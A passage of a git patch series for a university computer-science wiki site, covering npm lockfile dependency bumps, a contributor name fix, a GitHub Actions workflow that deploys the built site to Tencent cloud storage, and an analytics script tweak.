"10.15.1", - "resolved": "https://repo.huaweicloud.com/repository/npm/preact/-/preact-10.15.1.tgz", + "resolved": "https://registry.npmmirror.com/preact/-/preact-10.15.1.tgz", "integrity": "sha512-qs2ansoQEwzNiV5eAcRT1p1EC/dmEzaATVDJNiB3g2sRDWdA7b7MurXdJjB2+/WQktGWZwxvDrnuRFbWuIr64g==", - "dev": true, - "license": "MIT", - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/preact" - } + "dev": true }, "node_modules/prop-types": { "version": "15.8.1", @@ -2509,6 +2500,16 @@ "loose-envify": "^1.1.0" } }, + "node_modules/search-insights": { + "version": "2.6.0", + "resolved": "https://registry.npmmirror.com/search-insights/-/search-insights-2.6.0.tgz", + "integrity": "sha512-vU2/fJ+h/Mkm/DJOe+EaM5cafJv/1rRTZpGJTuFPf/Q5LjzgMDsqPdSaZsAe+GAWHHsfsu+rQSAn6c8IGtBEVw==", + "dev": true, + "peer": true, + "engines": { + "node": ">=8.16.0" + } + }, "node_modules/shebang-command": { "version": "2.0.0", "resolved": "https://registry.npmmirror.com/shebang-command/-/shebang-command-2.0.0.tgz", @@ -2733,24 +2734,23 @@ } }, "node_modules/vitepress": { - "version": "1.0.0-beta.1", - "resolved": "https://repo.huaweicloud.com/repository/npm/vitepress/-/vitepress-1.0.0-beta.1.tgz", - "integrity": "sha512-V2yyCwQ+v9fh7rbnGDLp8M7vHa9sLElexXf/JHtBOsOwv7ed9wt1QI4WUagYgKR3TeoJT9v2s6f0UaQSne0EvQ==", + "version": "1.0.0-beta.2", + "resolved": "https://registry.npmmirror.com/vitepress/-/vitepress-1.0.0-beta.2.tgz", + "integrity": "sha512-DBXYjtYbm3W1IPPJ2TiCaK/XK+o/2XmL2+jslOGKm+txcbmG0kbeB+vadC5tCUZA9NdA+9Ywj3M4548c7t/SDg==", "dev": true, - "license": "MIT", "dependencies": { - "@docsearch/css": "^3.3.5", - "@docsearch/js": "^3.3.5", + "@docsearch/css": "^3.5.0", + "@docsearch/js": "^3.5.0", "@vitejs/plugin-vue": "^4.2.3", "@vue/devtools-api": "^6.5.0", "@vueuse/core": "^10.1.2", "@vueuse/integrations": "^10.1.2", "body-scroll-lock": "4.0.0-beta.0", - "focus-trap": "^7.4.2", + "focus-trap": "^7.4.3", "mark.js": "8.11.1", "minisearch": "^6.1.0", "shiki": "^0.14.2", - "vite": "^4.3.8", + "vite": "^4.3.9", "vue": "^3.3.4" }, "bin": { @@ -2918,156 +2918,167 @@ }, "dependencies": { "@algolia/autocomplete-core": { - "version": "1.8.2", - "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/autocomplete-core/-/autocomplete-core-1.8.2.tgz", - "integrity": "sha512-mTeshsyFhAqw/ebqNsQpMtbnjr+qVOSKXArEj4K0d7sqc8It1XD0gkASwecm9mF/jlOQ4Z9RNg1HbdA8JPdRwQ==", + "version": "1.9.2", + "resolved": "https://registry.npmmirror.com/@algolia/autocomplete-core/-/autocomplete-core-1.9.2.tgz", + "integrity": "sha512-hkG80c9kx9ClVAEcUJbTd2ziVC713x9Bji9Ty4XJfKXlxlsx3iXsoNhAwfeR4ulzIUg7OE5gez0UU1zVDdG7kg==", "dev": true, "requires": { - "@algolia/autocomplete-shared": "1.8.2" + "@algolia/autocomplete-plugin-algolia-insights": "1.9.2", + "@algolia/autocomplete-shared": "1.9.2" + } + }, + "@algolia/autocomplete-plugin-algolia-insights": { + "version": "1.9.2", + "resolved": "https://registry.npmmirror.com/@algolia/autocomplete-plugin-algolia-insights/-/autocomplete-plugin-algolia-insights-1.9.2.tgz", + "integrity": "sha512-2LVsf4W66hVHQ3Ua/8k15oPlxjELCztbAkQm/hP42Sw+GLkHAdY1vaVRYziaWq64+Oljfg6FKkZHCdgXH+CGIA==", + "dev": true, + "requires": { + "@algolia/autocomplete-shared": "1.9.2" } }, "@algolia/autocomplete-preset-algolia": { - "version": "1.8.2", - "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/autocomplete-preset-algolia/-/autocomplete-preset-algolia-1.8.2.tgz", - "integrity": "sha512-J0oTx4me6ZM9kIKPuL3lyU3aB8DEvpVvR6xWmHVROx5rOYJGQcZsdG4ozxwcOyiiu3qxMkIbzntnV1S1VWD8yA==", + "version": "1.9.2", + "resolved": "https://registry.npmmirror.com/@algolia/autocomplete-preset-algolia/-/autocomplete-preset-algolia-1.9.2.tgz", + "integrity": "sha512-pqgIm2GNqtCT59Y1ICctIPrYTi34+wNPiNWEclD/yDzp5uDUUsyGe5XrUjCNyQRTKonAlmYxoaEHOn8FWgmBHA==", "dev": true, "requires": { - "@algolia/autocomplete-shared": "1.8.2" + "@algolia/autocomplete-shared": "1.9.2" } }, "@algolia/autocomplete-shared": { - "version": "1.8.2", - "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/autocomplete-shared/-/autocomplete-shared-1.8.2.tgz", - "integrity": "sha512-b6Z/X4MczChMcfhk6kfRmBzPgjoPzuS9KGR4AFsiLulLNRAAqhP+xZTKtMnZGhLuc61I20d5WqlId02AZvcO6g==", - "dev": true + "version": "1.9.2", + "resolved": "https://registry.npmmirror.com/@algolia/autocomplete-shared/-/autocomplete-shared-1.9.2.tgz", + "integrity": "sha512-XxX6YDn+7LG+SmdpXEOnj7fc3TjiVpQ0CbGhjLwrd2tYr6LVY2D4Iiu/iuYJ4shvVDWWnpwArSk0uIWC/8OPUA==", + "dev": true, + "requires": {} }, "@algolia/cache-browser-local-storage": { - "version": "4.17.1", - "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/cache-browser-local-storage/-/cache-browser-local-storage-4.17.1.tgz", - "integrity": "sha512-e91Jpu93X3t3mVdQwF3ZDjSFMFIfzSc+I76G4EX8nl9RYXgqcjframoL05VTjcD2YCsI18RIHAWVCBoCXVZnrw==", + "version": "4.17.2", + "resolved": "https://registry.npmmirror.com/@algolia/cache-browser-local-storage/-/cache-browser-local-storage-4.17.2.tgz", + "integrity": "sha512-ZkVN7K/JE+qMQbpR6h3gQOGR6yCJpmucSBCmH5YDxnrYbp2CbrVCu0Nr+FGVoWzMJNznj1waShkfQ9awERulLw==", "dev": true, "requires": { - "@algolia/cache-common": "4.17.1" + "@algolia/cache-common": "4.17.2" } }, "@algolia/cache-common": { - "version": "4.17.1", - "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/cache-common/-/cache-common-4.17.1.tgz", - "integrity": "sha512-fvi1WT8aSiGAKrcTw8Qg3RYgcwW8GZMHcqEm4AyDBEy72JZlFBSY80cTQ75MslINjCHXLDT+9EN8AGI9WVY7uA==", + "version": "4.17.2", + "resolved": "https://registry.npmmirror.com/@algolia/cache-common/-/cache-common-4.17.2.tgz", + "integrity": "sha512-fojbhYIS8ovfYs6hwZpy1O4mBfVRxNgAaZRqsdVQd54hU4MxYDYFCxagYX28lOBz7btcDHld6BMoWXvjzkx6iQ==", "dev": true }, "@algolia/cache-in-memory": { - "version": "4.17.1", - "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/cache-in-memory/-/cache-in-memory-4.17.1.tgz", - "integrity": "sha512-NbBt6eBWlsXc5geSpfPRC5dkIB/0Ptthw8r0yM5Z7D3sPlYdnTZSO9y9XWXIptRMwmZe4cM8iBMN8y0tzbcBkA==", + "version": "4.17.2", + "resolved": "https://registry.npmmirror.com/@algolia/cache-in-memory/-/cache-in-memory-4.17.2.tgz", + "integrity": "sha512-UYQcMzPurNi+cPYkuPemTZkjKAjdgAS1hagC5irujKbrYnN4yscK4TkOI5tX+O8/KegtJt3kOK07OIrJ2QDAAw==", "dev": true, "requires": { - "@algolia/cache-common": "4.17.1" + "@algolia/cache-common": "4.17.2" } }, "@algolia/client-account": { - "version": "4.17.1", - "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/client-account/-/client-account-4.17.1.tgz", - "integrity": "sha512-3rL/6ofJvyL+q8TiWM3qoM9tig+SY4gB1Vbsj+UeJPnJm8Khm+7OS+r+mFraqR6pTehYqN8yGYoE7x4diEn4aA==", + "version": "4.17.2", + "resolved": "https://registry.npmmirror.com/@algolia/client-account/-/client-account-4.17.2.tgz", + "integrity": "sha512-doSk89pBPDpDyKJSHFADIGa2XSGrBCj3QwPvqtRJXDADpN+OjW+eTR8r4hEs/7X4GGfjfAOAES8JgDx+fZntYw==", "dev": true, "requires": { - "@algolia/client-common": "4.17.1", - "@algolia/client-search": "4.17.1", - "@algolia/transporter": "4.17.1" + "@algolia/client-common": "4.17.2", + "@algolia/client-search": "4.17.2", + "@algolia/transporter": "4.17.2" } }, "@algolia/client-analytics": { - "version": "4.17.1", - "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/client-analytics/-/client-analytics-4.17.1.tgz", - "integrity": "sha512-Bepr2w249vODqeBtM7i++tPmUsQ9B81aupUGbDWmjA/FX+jzQqOdhW8w1CFO5kWViNKTbz2WBIJ9U3x8hOa4bA==", + "version": "4.17.2", + "resolved": "https://registry.npmmirror.com/@algolia/client-analytics/-/client-analytics-4.17.2.tgz", + "integrity": "sha512-V+DcXbOtD/hKwAR3qGQrtlrJ3q2f9OKfx843q744o4m3xHv5ueCAvGXB1znPsdaUrVDNAImcgEgqwI9x7EJbDw==", "dev": true, "requires": { - "@algolia/client-common": "4.17.1", - "@algolia/client-search": "4.17.1", - "@algolia/requester-common": "4.17.1", - "@algolia/transporter": "4.17.1" + "@algolia/client-common": "4.17.2", + "@algolia/client-search": "4.17.2", + "@algolia/requester-common": "4.17.2", + "@algolia/transporter": "4.17.2" } }, "@algolia/client-common": { - "version": "4.17.1", - "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/client-common/-/client-common-4.17.1.tgz", - "integrity": "sha512-+r7kg4EgbFnGsDnoGSVNtXZO8xvZ0vzf1WAOV7sqV9PMf1bp6cpJP/3IuPrSk4t5w2KVl+pC8jfTM7HcFlfBEQ==", + "version": "4.17.2", + "resolved": "https://registry.npmmirror.com/@algolia/client-common/-/client-common-4.17.2.tgz", + "integrity": "sha512-gKBUnjxi0ukJYIJxVREYGt1Dmj1B3RBYbfGWi0dIPp1BC1VvQm+BOuNwsIwmq/x3MPO+sGuK978eKiP3tZDvag==", "dev": true, "requires": { - "@algolia/requester-common": "4.17.1", - "@algolia/transporter": "4.17.1" + "@algolia/requester-common": "4.17.2", + "@algolia/transporter": "4.17.2" } }, "@algolia/client-personalization": { - "version": "4.17.1", - "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/client-personalization/-/client-personalization-4.17.1.tgz", - "integrity": "sha512-gJku9DG/THJpfsSlG/az0a3QIn+VVff9kKh8PG8+7ZfxOHS+C+Y5YSeZVsC+c2cfoKLPo3CuHIiJ/p86erR3bA==", + "version": "4.17.2", + "resolved": "https://registry.npmmirror.com/@algolia/client-personalization/-/client-personalization-4.17.2.tgz", + "integrity": "sha512-wc4UgOWxSYWz5wpuelNmlt895jA9twjZWM2ms17Ws8qCvBHF7OVGdMGgbysPB8790YnfvvDnSsWOv3CEj26Eow==", "dev": true, "requires": { - "@algolia/client-common": "4.17.1", - "@algolia/requester-common": "4.17.1", - "@algolia/transporter": "4.17.1" + "@algolia/client-common": "4.17.2", + "@algolia/requester-common": "4.17.2", + "@algolia/transporter": "4.17.2" } }, "@algolia/client-search": { - "version": "4.17.1", - "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/client-search/-/client-search-4.17.1.tgz", - "integrity": "sha512-Q5YfT5gVkx60PZDQBqp/zH9aUbBdC7HVvxupiHUgnCKqRQsRZjOhLest7AI6FahepuZLBZS62COrO7v+JvKY7w==", + "version": "4.17.2", + "resolved": "https://registry.npmmirror.com/@algolia/client-search/-/client-search-4.17.2.tgz", + "integrity": "sha512-FUjIs+gRe0upJC++uVs4sdxMw15JxfkT86Gr/kqVwi9kcqaZhXntSbW/Fw959bIYXczjmeVQsilYvBWW4YvSZA==", "dev": true, "requires": { - "@algolia/client-common": "4.17.1", - "@algolia/requester-common": "4.17.1", - "@algolia/transporter": "4.17.1" + "@algolia/client-common": "4.17.2", + "@algolia/requester-common": "4.17.2", + "@algolia/transporter": "4.17.2" } }, "@algolia/logger-common": { - "version": "4.17.1", - "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/logger-common/-/logger-common-4.17.1.tgz", - "integrity": "sha512-Us28Ot+fLEmX9M96sa65VZ8EyEEzhYPxfhV9aQyKDjfXbUdJlJxKt6wZpoEg9RAPSdO8IjK9nmuW2P8au3rRsg==", + "version": "4.17.2", + "resolved": "https://registry.npmmirror.com/@algolia/logger-common/-/logger-common-4.17.2.tgz", + "integrity": "sha512-EfXuweUE+1HiSMsQidaDWA5Lv4NnStYIlh7PO5pLkI+sdhbMX0e5AO5nUAMIFM1VkEANes70RA8fzhP6OqCqQQ==", "dev": true }, "@algolia/logger-console": { - "version": "4.17.1", - "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/logger-console/-/logger-console-4.17.1.tgz", - "integrity": "sha512-iKGQTpOjHiE64W3JIOu6dmDvn+AfYIElI9jf/Nt6umRPmP/JI9rK+OHUoW4pKrBtdG0DPd62ppeNXzSnLxY6/g==", + "version": "4.17.2", + "resolved": "https://registry.npmmirror.com/@algolia/logger-console/-/logger-console-4.17.2.tgz", + "integrity": "sha512-JuG8HGVlJ+l/UEDK4h2Y8q/IEmRjQz1J0aS9tf6GPNbGYiSvMr1DDdZ+hqV3bb1XE6wU8Ypex56HisWMSpnG0A==", "dev": true, "requires": { - "@algolia/logger-common": "4.17.1" + "@algolia/logger-common": "4.17.2" } }, "@algolia/requester-browser-xhr": { - "version": "4.17.1", - "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/requester-browser-xhr/-/requester-browser-xhr-4.17.1.tgz", - "integrity": "sha512-W5mGfGDsyfVR+r4pUFrYLGBEM18gs38+GNt5PE5uPULy4uVTSnnVSkJkWeRkmLBk9zEZ/Nld8m4zavK6dtEuYg==", + "version": "4.17.2", + "resolved": "https://registry.npmmirror.com/@algolia/requester-browser-xhr/-/requester-browser-xhr-4.17.2.tgz", + "integrity": "sha512-FKI2lYWwksALfRt2OETFmGb5+P7WVc4py2Ai3H7k8FSfTLwVvs9WVVmtlx6oANQ8RFEK4B85h8DQJTJ29TDfmA==", "dev": true, "requires": { - "@algolia/requester-common": "4.17.1" + "@algolia/requester-common": "4.17.2" } }, "@algolia/requester-common": { - "version": "4.17.1", - "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/requester-common/-/requester-common-4.17.1.tgz", - "integrity": "sha512-HggXdjvVFQR0I5l7hM5WdHgQ1tqcRWeyXZz8apQ7zPWZhirmY2E9D6LVhDh/UnWQNEm7nBtM+eMFONJ3bZccIQ==", + "version": "4.17.2", + "resolved": "https://registry.npmmirror.com/@algolia/requester-common/-/requester-common-4.17.2.tgz", + "integrity": "sha512-Rfim23ztAhYpE9qm+KCfCRo+YLJCjiiTG+IpDdzUjMpYPhUtirQT0A35YEd/gKn86YNyydxS9w8iRSjwKh+L0A==", "dev": true }, "@algolia/requester-node-http": { - "version": "4.17.1", - "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/requester-node-http/-/requester-node-http-4.17.1.tgz", - "integrity": "sha512-NzFWecXT6d0PPsQY9L+/qoK2deF74OLcpvqCH+Vh3mh+QzPsFafcBExdguAjZsAWDn1R6JEeFW7/fo/p0SE57w==", + "version": "4.17.2", + "resolved": "https://registry.npmmirror.com/@algolia/requester-node-http/-/requester-node-http-4.17.2.tgz", + "integrity": "sha512-E0b0kyCDMvUIhQmDNd/mH4fsKJdEEX6PkMKrYJjzm6moo+rP22tqpq4Rfe7DZD8OB6/LsDD3zs3Kvd+L+M5wwQ==", "dev": true, "requires": { - "@algolia/requester-common": "4.17.1" + "@algolia/requester-common": "4.17.2" } }, "@algolia/transporter": { - "version": "4.17.1", - "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/transporter/-/transporter-4.17.1.tgz", - "integrity": "sha512-ZM+qhX47Vh46mWH8/U9ihvy98HdTYpYQDSlqBD7IbiUbbyoCMke+qmdSX2MGhR2FCcXBSxejsJKKVAfbpaLVgg==", + "version": "4.17.2", + "resolved": "https://registry.npmmirror.com/@algolia/transporter/-/transporter-4.17.2.tgz", + "integrity": "sha512-m8pXlz5OnNzjD1rcw+duCN4jG4yEzkJBsvKYMoN22Oq6rQwy1AY5muZ+IQUs4dL+A364CYkRMLRWhvXpCZ1x+g==", "dev": true, "requires": { - "@algolia/cache-common": "4.17.1", - "@algolia/logger-common": "4.17.1", - "@algolia/requester-common": "4.17.1" + "@algolia/cache-common": "4.17.2", + "@algolia/logger-common": "4.17.2", + "@algolia/requester-common": "4.17.2" } }, "@babel/parser": { @@ -3088,13 +3099,13 @@ } }, "@codemirror/lang-python": { - "version": "6.1.2", - "resolved": "https://registry.npmmirror.com/@codemirror/lang-python/-/lang-python-6.1.2.tgz", - "integrity": "sha512-nbQfifLBZstpt6Oo4XxA2LOzlSp4b/7Bc5cmodG1R+Cs5PLLCTUvsMNWDnziiCfTOG/SW1rVzXq/GbIr6WXlcw==", + "version": "6.1.3", + "resolved": "https://registry.npmmirror.com/@codemirror/lang-python/-/lang-python-6.1.3.tgz", + "integrity": "sha512-S9w2Jl74hFlD5nqtUMIaXAq9t5WlM0acCkyuQWUUSvZclk1sV+UfnpFiZzuZSG+hfEaOmxKR5UxY/Uxswn7EhQ==", "requires": { "@codemirror/autocomplete": "^6.3.2", - "@codemirror/language": "^6.0.0", - "@lezer/python": "^1.0.0" + "@codemirror/language": "^6.8.0", + "@lezer/python": "^1.1.4" } }, "@codemirror/lang-sql": { @@ -3110,9 +3121,9 @@ } }, "@codemirror/language": { - "version": "6.6.0", - "resolved": "https://registry.npmmirror.com/@codemirror/language/-/language-6.6.0.tgz", - "integrity": "sha512-cwUd6lzt3MfNYOobdjf14ZkLbJcnv4WtndYaoBkbor/vF+rCNguMPK0IRtvZJG4dsWiaWPcK8x1VijhvSxnstg==", + "version": "6.8.0", + "resolved": "https://registry.npmmirror.com/@codemirror/language/-/language-6.8.0.tgz", + "integrity": "sha512-r1paAyWOZkfY0RaYEZj3Kul+MiQTEbDvYqf8gPGaRvNneHXCmfSaAVFjwRUPlgxS8yflMxw2CTu6uCMp8R8A2g==", "requires": { "@codemirror/state": "^6.0.0", "@codemirror/view": "^6.0.0", @@ -3138,30 +3149,30 @@ } }, "@docsearch/css": { - "version": "3.4.0", - "resolved": "https://repo.huaweicloud.com/repository/npm/@docsearch/css/-/css-3.4.0.tgz", - "integrity": "sha512-Hg8Xfma+rFwRi6Y/pfei4FJoQ1hdVURmmNs/XPoMTCPAImU+d5yxj+M+qdLtNjWRpfWziU4dQcqY94xgFBn2dg==", + "version": "3.5.0", + "resolved": "https://registry.npmmirror.com/@docsearch/css/-/css-3.5.0.tgz", + "integrity": "sha512-Ob5FQLubplcBNihAVtriR59FRBeP8u69F6mu4L4yIr60KfsPc10bOV0DoPErJw0zF9IBN2cNLW9qdmt8zWPxyg==", "dev": true }, "@docsearch/js": { - "version": "3.4.0", - "resolved": "https://repo.huaweicloud.com/repository/npm/@docsearch/js/-/js-3.4.0.tgz", - "integrity": "sha512-uOtOHZJv+5PQmL68+srVzlGhLejnEBJgZl1bR87Zh/uK5RUI7p6el1R8hGTl2F8K2tCloNRxTMtXyYUNbMV+qw==", + "version": "3.5.0", + "resolved": "https://registry.npmmirror.com/@docsearch/js/-/js-3.5.0.tgz", + "integrity": "sha512-WqB+z+zVKSXDkGq028nClT9RvMzfFlemZuIulX5ZwWkdUtl4k7M9cmZA/c6kuZf7FG24XQsMHWuBjeUo9hLRyA==", "dev": true, "requires": { - "@docsearch/react": "3.4.0", + "@docsearch/react": "3.5.0", "preact": "^10.0.0" } }, "@docsearch/react": { - "version": "3.4.0", - "resolved": "https://repo.huaweicloud.com/repository/npm/@docsearch/react/-/react-3.4.0.tgz", - "integrity": "sha512-ufrp5879XYGojgS30ZAp8H4qIMbahRHB9M85VDBP36Xgz5QjYM54i1URKj5e219F7gqTtOivfztFTij6itc0MQ==", + "version": "3.5.0", + "resolved": "https://registry.npmmirror.com/@docsearch/react/-/react-3.5.0.tgz", + "integrity": "sha512-3IG8mmSMzSHNGy2S1VuPyYU9tFCxFpj5Ov8SYwsSHM4yMvFsaO9oFxXocA5lSenliIELhuOuS5+BdxHa/Qlf2A==", "dev": true, "requires": { - "@algolia/autocomplete-core": "1.8.2", - "@algolia/autocomplete-preset-algolia": "1.8.2", - "@docsearch/css": "3.4.0", + "@algolia/autocomplete-core": "1.9.2", + "@algolia/autocomplete-preset-algolia": "1.9.2", + "@docsearch/css": "3.5.0", "algoliasearch": "^4.0.0" } }, @@ -4178,25 +4189,25 @@ } }, "algoliasearch": { - "version": "4.17.1", - "resolved": "https://repo.huaweicloud.com/repository/npm/algoliasearch/-/algoliasearch-4.17.1.tgz", - "integrity": "sha512-4GDQ1RhP2qUR3x8PevFRbEdqZqIARNViZYjgTJmA1T7wRNtFA3W4Aqc/RsODqa1J8IO/QDla5x4tWuUS8NV8wA==", + "version": "4.17.2", + "resolved": "https://registry.npmmirror.com/algoliasearch/-/algoliasearch-4.17.2.tgz", + "integrity": "sha512-VFu43JJNYIW74awp7oeQcQsPcxOhd8psqBDTfyNO2Zt6L1NqnNMTVnaIdQ+8dtKqUDBqQZp0szPxECvX8CK2Fg==", "dev": true, "requires": { - "@algolia/cache-browser-local-storage": "4.17.1", - "@algolia/cache-common": "4.17.1", - "@algolia/cache-in-memory": "4.17.1", - "@algolia/client-account": "4.17.1", - "@algolia/client-analytics": "4.17.1", - "@algolia/client-common": "4.17.1", - "@algolia/client-personalization": "4.17.1", - "@algolia/client-search": "4.17.1", - "@algolia/logger-common": "4.17.1", - "@algolia/logger-console": "4.17.1", - "@algolia/requester-browser-xhr": "4.17.1", - "@algolia/requester-common": "4.17.1", - "@algolia/requester-node-http": "4.17.1", - "@algolia/transporter": "4.17.1" + "@algolia/cache-browser-local-storage": "4.17.2", + "@algolia/cache-common": "4.17.2", + "@algolia/cache-in-memory": "4.17.2", + "@algolia/client-account": "4.17.2", + "@algolia/client-analytics": "4.17.2", + "@algolia/client-common": "4.17.2", + "@algolia/client-personalization": "4.17.2", + "@algolia/client-search": "4.17.2", + "@algolia/logger-common": "4.17.2", + "@algolia/logger-console": "4.17.2", + "@algolia/requester-browser-xhr": "4.17.2", + "@algolia/requester-common": "4.17.2", + "@algolia/requester-node-http": "4.17.2", + "@algolia/transporter": "4.17.2" } }, "ansi-colors": { @@ -4756,7 +4767,7 @@ }, "preact": { "version": "10.15.1", - "resolved": "https://repo.huaweicloud.com/repository/npm/preact/-/preact-10.15.1.tgz", + "resolved": "https://registry.npmmirror.com/preact/-/preact-10.15.1.tgz", "integrity": "sha512-qs2ansoQEwzNiV5eAcRT1p1EC/dmEzaATVDJNiB3g2sRDWdA7b7MurXdJjB2+/WQktGWZwxvDrnuRFbWuIr64g==", "dev": true }, @@ -4849,6 +4860,13 @@ "loose-envify": "^1.1.0" } }, + "search-insights": { + "version": "2.6.0", + "resolved": "https://registry.npmmirror.com/search-insights/-/search-insights-2.6.0.tgz", + "integrity": "sha512-vU2/fJ+h/Mkm/DJOe+EaM5cafJv/1rRTZpGJTuFPf/Q5LjzgMDsqPdSaZsAe+GAWHHsfsu+rQSAn6c8IGtBEVw==", + "dev": true, + "peer": true + }, "shebang-command": { "version": "2.0.0", "resolved": "https://registry.npmmirror.com/shebang-command/-/shebang-command-2.0.0.tgz", @@ -5018,23 +5036,23 @@ } }, "vitepress": { - "version": "1.0.0-beta.1", - "resolved": "https://repo.huaweicloud.com/repository/npm/vitepress/-/vitepress-1.0.0-beta.1.tgz", - "integrity": "sha512-V2yyCwQ+v9fh7rbnGDLp8M7vHa9sLElexXf/JHtBOsOwv7ed9wt1QI4WUagYgKR3TeoJT9v2s6f0UaQSne0EvQ==", + "version": "1.0.0-beta.2", + "resolved": "https://registry.npmmirror.com/vitepress/-/vitepress-1.0.0-beta.2.tgz", + "integrity": "sha512-DBXYjtYbm3W1IPPJ2TiCaK/XK+o/2XmL2+jslOGKm+txcbmG0kbeB+vadC5tCUZA9NdA+9Ywj3M4548c7t/SDg==", "dev": true, "requires": { - "@docsearch/css": "^3.3.5", - "@docsearch/js": "^3.3.5", + "@docsearch/css": "^3.5.0", + "@docsearch/js": "^3.5.0", "@vitejs/plugin-vue": "^4.2.3", "@vue/devtools-api": "^6.5.0", "@vueuse/core": "^10.1.2", "@vueuse/integrations": "^10.1.2", "body-scroll-lock": "4.0.0-beta.0", - "focus-trap": "^7.4.2", + "focus-trap": "^7.4.3", "mark.js": "8.11.1", "minisearch": "^6.1.0", "shiki": "^0.14.2", - "vite": "^4.3.8", + "vite": "^4.3.9", "vue": "^3.3.4" } }, diff --git a/package.json b/package.json index 7a51808..200be1e 100644 --- a/package.json +++ b/package.json @@ -5,7 +5,7 @@ "docs:preview": "cross-env NODE_OPTIONS='--max-old-space-size=8192' vitepress preview" }, "dependencies": { - "@codemirror/lang-python": "^6.1.2", + "@codemirror/lang-python": "^6.1.3", "@codemirror/lang-sql": "^6.5.0", "@jupyterlab/mathjax2": "^3.6.4", "@jupyterlab/theme-light-extension": "^4.0.2", @@ -14,6 +14,6 @@ "devDependencies": { "cross-env": "^7.0.3", "markdown-it-mathjax3": "^4.3.2", - "vitepress": "^1.0.0-beta.1" + "vitepress": "^1.0.0-beta.2" } } \ No newline at end of file From 95e2b712bfc3e38cace0fecb119f4aff1993cbd6 Mon Sep 17 00:00:00 2001 From: creammm <113745096+creamm-kk@users.noreply.github.com> Date: Thu, 15 Jun 2023 21:17:52 +0800 Subject: [PATCH 08/85] =?UTF-8?q?Update=20members.ts=EF=BC=8C=E6=88=91?= =?UTF-8?q?=E7=9A=84github=E8=B4=A6=E5=8F=B7=E5=90=8D=E7=A7=B0=E6=94=B9?= =?UTF-8?q?=E4=BA=86=E4=B8=80=E4=B8=8B=EF=BC=8C=E5=8E=9F=E6=9D=A5=E9=82=A3?= =?UTF-8?q?=E4=B8=AA=E7=83=82=E4=BA=86?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- members.ts | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/members.ts b/members.ts index cc9644c..e27f225 100644 --- a/members.ts +++ b/members.ts @@ -46,11 +46,11 @@ export const members: Member = [ ] }, { - avatar: 'https://avatars.hdu-cs.wiki/creammmmmmmmmmmmmmmm', + avatar: 'https://avatars.hdu-cs.wiki/creamm-kk', name: '可可', title: 'Contributer', links: [ - { icon: 'github', link: 'https://github.com/creammmmmmmmmmmmmmmm' }, + { icon: 'github', link: 'https://github.com/creamm-kk' }, ] }, { From 2f0ea17b896a19bea66acc26df581f4b5daca00f Mon Sep 17 00:00:00 2001 From: camera-2018 <2907618001@qq.com> Date: Mon, 19 Jun 2023 12:24:38 +0800 Subject: [PATCH 09/85] feat: ci --- .github/workflows/cos.yaml | 41 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 41 insertions(+) create mode 100644 .github/workflows/cos.yaml diff --git a/.github/workflows/cos.yaml b/.github/workflows/cos.yaml new file mode 100644 index 0000000..f79e709 --- /dev/null +++ b/.github/workflows/cos.yaml @@ -0,0 +1,41 @@ +name: update to cos + +on: + push: + branches: + - master + +jobs: + build: + runs-on: ubuntu-latest + + steps: + - name: checkout + uses: actions/checkout@master + + - name: install dependencies + run: | + sudo pip install coscmd + sudo pip install tccli + npm i + + - name: build + run: | + npm run docs:build + + - name: confirgure coscmd and tccli + env: + SECRET_ID: ${{ secrets.TCLOUD_API_ID }} + SECRET_KEY: ${{ secrets.TCLOUD_API_KEY }} + BUCKET: hdu-cs-wiki-1307923872 + REGION: ap-shanghai + run: | + coscmd config -a $SECRET_ID -s $SECRET_KEY -b $BUCKET -r $REGION + tccli configure set secretId $SECRET_ID + tccli configure set secretKey $SECRET_KEY + tccli configure set region $REGION + + - name: upload and refresh cdn + run: | + coscmd upload -rfs --delete ./.vitepress/dist/ / + tccli cdn PurgePathCache --cli-unfold-argument --Paths https://wiki.xyxsw.site/ --FlushType flush \ No newline at end of file From 6fe8470d41b9a099b357162332223abb6110d7ee Mon Sep 17 00:00:00 2001 From: camera-2018 <2907618001@qq.com> Date: Mon, 19 Jun 2023 13:05:42 +0800 Subject: [PATCH 10/85] chore: update umami --- .vitepress/config.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.vitepress/config.js b/.vitepress/config.js index 4b8ae1e..0092851 100644 --- a/.vitepress/config.js +++ b/.vitepress/config.js @@ -98,7 +98,7 @@ export default defineConfig({ title: "HDU-CS-WIKI", description: "HDU计算机科学讲义", lastUpdated: true, - head: [['script', { async: "async", src: 'https://umami.hdu-cs.wiki/script.js', "data-website-id": "3f11687a-faae-463a-b863-6127a8c28301" }]], + head: [['script', { async: "async", src: 'https://umami.hdu-cs.wiki/script.js', "data-website-id": "3f11687a-faae-463a-b863-6127a8c28301", "data-domains":"wiki.xyxsw.site,hdu-cs.wiki" }]], themeConfig: { // https://vitepress.dev/reference/default-theme-config nav: [ From 538359427d1cda26d33b4a2379a1cf1a55086cd6 Mon Sep 17 00:00:00 2001 From: camera-2018 <2907618001@qq.com> Date: Sat, 24 Jun 2023 06:21:22 +0800 Subject: [PATCH 11/85] chore: update dependencies --- package-lock.json | 28 ++++++++++++++-------------- package.json | 4 ++-- 2 files changed, 16 insertions(+), 16 deletions(-) diff --git a/package-lock.json b/package-lock.json index 163d0fb..927c865 100644 --- a/package-lock.json +++ b/package-lock.json @@ -6,7 +6,7 @@ "": { "dependencies": { "@codemirror/lang-python": "^6.1.3", - "@codemirror/lang-sql": "^6.5.0", + "@codemirror/lang-sql": "^6.5.2", 